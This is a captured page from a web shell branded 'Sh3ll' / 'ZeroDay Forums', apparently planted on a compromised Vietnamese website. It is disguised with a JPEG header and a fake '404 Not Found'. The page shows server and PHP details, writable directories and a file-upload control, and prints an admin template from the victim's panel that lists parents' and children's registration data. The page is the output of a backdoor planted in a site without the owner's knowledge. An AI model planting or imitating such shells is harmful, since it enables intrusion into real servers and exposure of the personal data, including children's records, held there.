ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkewebvumi.com/admin_new/skin/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkewebvumi.com/admin_new/skin/admin/formdk.tpl
<h4 class="alert_info">
    <form action="index.php?act=album" method="post">
        <font size="1">Sắp xếp theo:</font>
        <select name="sort" style="width: 110px;">
            <option value="time">-Mới nhất-</option>
            <option value="hit">-Xem nhiá»u nhất-</option>
            <option value="vote">-Bình chá»n nhiá»u nhất-</option>
        </select>
        <font size="1">Trình trạng:</font>
        <select name="fstatus">
            <option value="">-Tất cả-</option>
            <option value="0">Chưa duyệt</option>
            <option value="1">Äã duyệt</option>
        </select>
        <font size="1">Tỉnh:</font>
        <select name="tinh_thanh">
            <option value="">-Tất cả-</option>
            <option value="Rach Gia">Rạch Giá</option>
            <option value="Bac Lieu">Bạc Liêu</option>
        </select>
        <font size="1">Từ khóa:</font>
        <input type="text" name="fkeyword" value="" />
        <input type="submit" name="submita" value=" Tìm " /></form>
</h4>
{if $status == 'del_success'}<h4 class="alert_success">Xóa bài viết thành công</h4>{/if}
{if $status == 'add_success'}<h4 class="alert_success">Thêm bài viết thành công</h4>{/if}
{if $status == 'edit_success'}<h4 class="alert_success">Sửa bài viết thành công</h4>{/if}
{if $section == 'list'}
    <script type="text/javascript">
        function get_mid(type){
            switch(type){
                case 'del':
                    if(confirm('Bạn có chắc muốn xóa?')){
                        $('#type').attr('value','del');
                        $('#form1').submit();
                        return false;
                    }
                    break;
                default:
                    $('#type').attr('value',type);
                    $('#form1').submit();
                    return false;
                    break;
            }
        }
    </script>
    <article class="module width_full">
        {if $list}
            <header>
                <h3 class="tabs_involved"><a href="javascript:void(0);" onclick="get_mid('del');">Xóa</a> |
                    <a href="javascript:void(0);" onclick="get_mid('active');">Duyệt</a> |
                    <a href="javascript:void(0);" onclick="get_mid('deactive');">BỠduyệt</a> |
                    <a href="index.php?act=album&code=post">Thêm mới</a></h3>
            </header>
            <input type="checkbox" name="all" id="checkall" /> Check all
            <div class="tab_container">
            <form action="index.php" method="post" name="post" id="form1">            <input type="hidden" name="act" value="album">
                <input type="hidden" id="type" name="type" value="">
                <div id="tab1" class="tab_content">
                    <a name="pages"></a>
                    <table class="tablesorter" cellspacing="0">
                        <thead>
                        <tr>
                            <th>
                            </th>
                            <th>STT
                            </th>
                            <th>Tên phụ huynh</th>
                            <th>Ngày sinh</th>
                            <th>Äịa chỉ</th>
                            <th>Äiện thoại</th>
                            <th>Email</th>
                           {* <th>Tên bé</th>
                            <th>Ngày sinh bé</th>
                            <th>TrÆ°á»ng</th>
                            <th>Nguồn tt</th>
                            <th>Location</th>*}
                            <th>Chi tiết</th>
                            <th>Actions</th>
                        </tr>
                        </thead>
                        <tbody>
                        {foreach from=$list key=k item=pages}
                            <tr>
                                <td><input type="checkbox" value="{$pages.id}" name="mid_for_del[]"></td>
                                <td>{$pages.stt}</td>
                                <td>{$pages.fullname}</td>
                                <td>
                                    {$pages.birthday}
                                </td>
                                <td>
                                    {$pages.address}
                                </td>
                                <td>{$pages.phone}</td>
                                <td>{$pages.email}</td>
                               {* <td>{$pages.baby_fullname}</td>
                                <td>{$pages.birthday_baby}</td>
                                <td>{$pages.school}</td>
                                <td>{$pages.nguon}</td>
                                <td>{$pages.tinh_thanh}</td>*}
                                <td><a href="javascript:void(0);" onclick="show_more({$pages.id});">Chi tiết</a> </td>

                                <td> <a href="index.php?act=formdk&code=del&id={$pages.id}" onclick="return confirm('Bạn có chắc muốn xóa?')"><img src="skin/{$skin_folder_admin}/images/icn_trash.png" title="Xóa"></a></td>
                            </tr>
                            <tr style="display: none;" class="more_info" id="tr_{$pages.id}">
                                <td colspan="5">
                                    <table cellspacing="0">
                                        <tr>
                                            <td><b>Tên bé:</b> {$pages.baby_fullname}</td>
                                        </tr>
                                        <tr>
                                            <td><b>Ngày sinh bé:</b> {$pages.birthday_baby}</td>
                                        </tr>
                                        <tr>
                                            <td><b>TrÆ°á»ng:</b> {$pages.school}</td>
                                        </tr>
                                        <tr>
                                            <td><b>Nguồn:</b> {$pages.nguon}</td>
                                        </tr>
                                        <tr>
                                            <td><b>Äịa phÆ°Æ¡ng:</b> {$pages.tinh_thanh}</td>
                                        </tr>
                                        <tr>
                                            <td><b>Ngày đăng ký:</b> {$pages.time}</td>
                                        </tr>
                                    </table>
                                </td>
                            </tr>
                        {/foreach}
                        </tbody>
                    </table>
                    <div class="spacer"></div>
                    <div align="center">{$nav|html_entity_decode}</div>
                    <div class="spacer"></div>
                </div>
            </form>
        </div><!-- end of .tab_container -->
        {else}
            <div align="center"><h4 class="alert_warning">Chưa có dữ liệu</h4></div>    {/if}
    </article><!-- end of content manager article -->
    {literal}
    <script type="text/javascript">
        $('#checkall').click(function(){
            if($("#checkall").is(':checked')){
                $('input:checkbox').attr('checked','checked');
            }else{
                $('input:checkbox').removeAttr('checked');
                location.reload();
            }
        });
        function show_more(id){
            $('.more_info').hide();
            $('#tr_'+id).show();
            return false;
        }
    </script>
    {/literal}
{/if}
{if $section == 'post'}
    <script type="text/javascript">
        $(function() {
            $('#gallery a').lightBox();
        });
    </script>
    <article class="module width_full">

        <header>
            <ul class="tabs">
                <li class="active"><a href="#tab1">Chung</a></li>
                {if $post.id>0}
                <li class=""><a href="#tab2">Gallery</a></li>
                {/if}
                {if $post.id>0 && $info.files==1}
                    <li class=""><a href="#tab3">File kèm</a></li>
                {/if}
                {if $post.id>0 && $info.product==1}
                    <li class=""><a href="#tab4">Thuộc tính sản phẩm</a></li>
                {/if}
            </ul>

        </header>
        <div class="tab_content" id="tab1" style="display: block;">
        <form name="post" id="post" action="" method="post" enctype="multipart/form-data">
            <input type="hidden" name="tab1" value="general">
            <div class="module_content">

                <fieldset>
                    <label>Tiêu Ä‘á»</label>
                    <input type="text" value="{$post.title_gallery|html_entity_decode}" name="title_gallery" disabled />
                </fieldset>

                <fieldset>
                    <label>Ảnh đại diện</label>
                    <img src="../upload/gallery/{$post.id}/{$post.img1}" width="50" />
                </fieldset>
                <fieldset>
                    <label>HỠtên</label>
                    <input type="text" value="{$post.fullname}" name="tags" disabled/>
                </fieldset>
                <fieldset>
                    <label>Äịa chỉ</label>
                    <input type="text" value="{$post.address}" name="tags" disabled/>
                </fieldset>
                <fieldset>
                    <label>Äiện thoại</label>
                    <input type="text" value="{$post.address}" name="tags" disabled/>
                </fieldset>
                <fieldset>
                    <label>Tên bé</label>
                    <input type="text" value="{$post.babyname}" name="tags" disabled/>
                </fieldset>
                <fieldset>
                    <label>Ngày sinh bé</label>
                    <input type="text" value="{$post.birthdaybaby}" name="tags" disabled/>
                </fieldset>
                <fieldset>
                    <label>Gia đình có mấy bé:</label>
                    <input type="text" value="{$post.quan_baby}" name="tags" disabled/>
                </fieldset>

                <fieldset>
                    <label>Tỉnh/Thành phố:</label>
                    <input type="text" value="{$post.tinh_thanh}" name="tags" disabled/>
                </fieldset>
                <fieldset>
                    <label>TrÆ°á»ng bé Ä‘ang há»c:</label>
                    <input type="text" value="{$post.school_baby}" name="tags" disabled/>
                </fieldset>

                <fieldset>
                    <label>Tên album</label>
                    <input type="text" value="{$post.title_gallery}" name="tags" disabled/>
                </fieldset>

                <fieldset id="gallery">
                    <label>Ảnh đã đăng</label>
                    <table style="padding: 5px; width: 600px;">
                         <tr>
                             {if $post.img1}
                            <td><a href="../upload/gallery/{$post.id}/{$post.img1}" title="{$post.title1}"><img src="../upload/gallery/{$post.id}/{$post.img1}" width="100"></a>
                            </td>
                             {/if}
                             {if $post.img2}
                                 <td><a href="../upload/gallery/{$post.id}/{$post.img2}" title="{$post.title2}"><img src="../upload/gallery/{$post.id}/{$post.img2}" width="100"></a>
                                 </td>
                             {/if}
                             {if $post.img3}
                                 <td><a href="../upload/gallery/{$post.id}/{$post.img3}" title="{$post.title3}"><img src="../upload/gallery/{$post.id}/{$post.img3}" width="100"></a>
                                 </td>
                             {/if}
                             {if $post.img4}
                                 <td><a href="../upload/gallery/{$post.id}/{$post.img4}" title="{$post.title4}"><img src="../upload/gallery/{$post.id}/{$post.img4}" width="100"></a>
                                 </td>
                             {/if}
                             {if $post.img5}
                                 <td><a href="../upload/gallery/{$post.id}/{$post.img5}" title="{$post.title5}"><img src="../upload/gallery/{$post.id}/{$post.img5}" width="100"></a>
                                 </td>
                             {/if}
                           </tr>
                    </table>
                </fieldset>
                <fieldset>
                    <label>Lượt xem: </label>
                    {$post.hit}
                </fieldset>
                <fieldset>
                    <label>Bình chá»n: </label>
                    {$post.vote}
                </fieldset>
                <fieldset style="width:48%; float:left; margin-right: 3%;">
                    <label>Duyệt album ? </label>
                    {$post.status}
                </fieldset>

                <fieldset style="width:48%; float:left; margin-right: 3%;">
                    <label>Bình chá»n tuần 1 ? </label>
                    {$post.tuan_1}
                </fieldset>

                <fieldset style="width:48%; float:left; margin-right: 3%;">
                    <label>Bình chá»n tuần 2 ? </label>
                    {$post.tuan_2}
                </fieldset>
                <fieldset style="width:48%; float:left; margin-right: 3%;">
                    <label>Bình chá»n tuần 3 ? </label>
                    {$post.tuan_3}
                </fieldset>
            </div>
            <footer>
                <div class="submit_link">
                    <input type="hidden" name="id" value="{$post.id}" />
                    <input type="submit" name="bsubmit" value=" LÆ°u " />            </div>
            </footer>
        </form>

        </div>



    </article><!-- end of post new article -->

    <script type="text/javascript">
        //more size item
        var p_size_item = $('#p_size_item');
        var i = $('#p_size_item p').size() + 1;
        $('#add_size_item').click(function() {
            $('<p class="field_size_'+i+'"><label>Khích cỡ '+i+'</label><input type="text" value="" name="size[]" /><br /><a href="javascript:void(0);" onclick="remove_field_size('+i+')">Remove</a></p>').appendTo(p_size_item);
            i++;
            return false;
        });
        function remove_field_size(i){
            if( i >= 2 ) {
                $('.field_size_'+i).remove();
            }
            return false;
        }
        //more sub img
        var scntDiv = $('#p_scents');
        var i = $('#p_scents p').size() + 1;
        $('#addScnt').click(function() {
            $('<p class="field_'+i+'"><label>Ảnh bộ sưu tập '+i+'</label><br>Tên ảnh: <br><input type="text" name="title_image[]" value=""> <br>Tên ảnh tiếng Anh: <br><input type="text" name="etitle_image[]" value=""><br>Mô tả ảnh: <br><textarea name="intro_image[]" rows="3"></textarea>Mô tả ảnh tiếng Anh: <br><textarea name="eintro_image[]" rows="3"></textarea><br> Ảnh đại diện: <input type="file" name="image[]" /> <a href="javascript:void(0);" onclick="remove_field('+i+')">Remove</a></p>').appendTo(scntDiv);
            i++;
            return false;
        });
        function remove_field(i){
            if( i >= 2 ) {
                $('.field_'+i).remove();
            }
            return false;
        }
        //more files
        var p_files = $('#p_files');
        var i = $('#p_files p').size() + 1;
        $('#addFiles').click(function() {
            $('<p class="field_files_'+i+'"><label>Files '+i+'</label><br>Tên file: <br><input type="text" name="title_file[]" value=""> <br>Tên file tiếng Anh: <br><input type="text" name="etitle_file[]" value=""><br>Mô tả file: <br><textarea name="intro_file[]" rows="3"></textarea>Mô tả file tiếng Anh: <br><textarea name="eintro_file[]" rows="3"></textarea><br> Files: <input type="file" name="file[]" /> <a href="javascript:void(0);" onclick="remove_field_files('+i+')">Remove</a></p>').appendTo(p_files);
            i++;
            return false;
        });
        function remove_field_files(i){
            if( i >= 2 ) {
                $('.field_files_'+i).remove();
            }
            return false;
        }
        $('.del_img').click(function(){
            var img_id = this.id;
            if(confirm("bạn có chắc muốn xóa?")){
                $.ajax({
                    type: 'POST',
                    url: 'index.php',
                    data: 'act=album&code=del_img_sub&img_id='+img_id,
                    dataType: '',
                    success: function(response) {
                        response = response.trim();
                        $('#'+response).hide();
                        $('#'+response+'_main').hide();
                    }
                });
            }
        });
        $('.del_file').click(function(){
            var file_id = this.id;
            if(confirm("Bạn có chắc muốn xóa?")){
                $.ajax({
                    type: 'POST',
                    url: 'index.php',
                    data: 'act=album&code=del_file&file_id='+file_id,
                    dataType: '',
                    success: function(response) {
                        response = response.trim();
                        alert(response);
                        $('#'+response+'_file').hide();
                    }
                });
            }
        });
        $('.del_size').click(function(){
            var size_id = this.id;
            if(confirm("Bạn có chắc muốn xóa?")){
                $.ajax({
                    type: 'POST',
                    url: 'index.php',
                    data: 'act=album&code=del_size&size_id='+size_id,
                    dataType: '',
                    success: function(response) {
                        response = response.trim();
                        $('li#'+response+'_li').remove();
                    }
                });
            }
        });
    </script>
{/if}
{if $section=='list_vote'}
    <script type="text/javascript">
        function get_mid(type){
            switch(type){
                case 'del':
                    if(confirm('Bạn có chắc muốn xóa?')){
                        $('#type').attr('value','del');
                        $('#form1').submit();
                        return false;
                    }
                    break;
                default:
                    $('#type').attr('value',type);
                    $('#form1').submit();
                    return false;
                    break;
            }
        }
    </script>
    <article class="module width_full">
        {if $lists}
            <header>
                <h3 class="tabs_involved"><a href="javascript:void(0);" onclick="get_mid('del');">Xóa</a>
                   </h3>
            </header>
            <input type="checkbox" name="all" id="checkall" /> Check all
            <div class="tab_container">
                <form action="index.php" method="post" name="post" id="form1">                          {*<input type="hidden" name="act" value="album">
                    <input type="hidden" name="code" value="listvote">*}
                    <input type="hidden" id="type" name="type" value="">
                    <div id="tab1" class="tab_content">
                        <a name="card"></a>
                        <table class="tablesorter" cellspacing="0">
                            <thead>
                            <tr>
                                <th>STT</th>
                                <th>username</th>
                                <th>Số lần bình chá»n</th>
                                <th>Thá»i gian bình chá»n</th>
                            </tr>
                            </thead>
                            <tbody>
                            {foreach from=$lists key=k item=card}
                                <tr>
                                    <td>{$k+1}</td>
                                    <td><a href="{$card.url_user_info}" target="_blank">{$card.username}</a></td>
                                    <td>
                                        {$card.total}
                                    </td>
                                    <td>
                                        {$card.time}
                                    </td>

                                    <td> <a href="index.php?act=album&code=del_vote&id={$card.id}" onclick="return confirm('Bạn có chắc muốn xóa?')"><img src="skin/{$skin_folder_admin}/images/icn_trash.png" title="Xóa"></a> </td>
                                </tr>
                            {/foreach}
                            </tbody>
                        </table>
                        <div class="spacer"></div>
                        <div align="center">{$nav|html_entity_decode}</div>
                        <div class="spacer"></div>
                    </div>
                </form>
            </div><!-- end of .tab_container -->
        {else}
            <div align="center"><h4 class="alert_warning">Chưa có dữ liệu</h4></div>    {/if}
    </article><!-- end of content manager article -->
    {literal}
        <script type="text/javascript">
            $('#checkall').click(function(){
                if($("#checkall").is(':checked')){
                    $('input:checkbox').attr('checked','checked');
                }else{
                    $('input:checkbox').removeAttr('checked');
                    location.reload();
                }
            });
        </script>
    {/literal}
{/if}

ZeroDay Forums Mini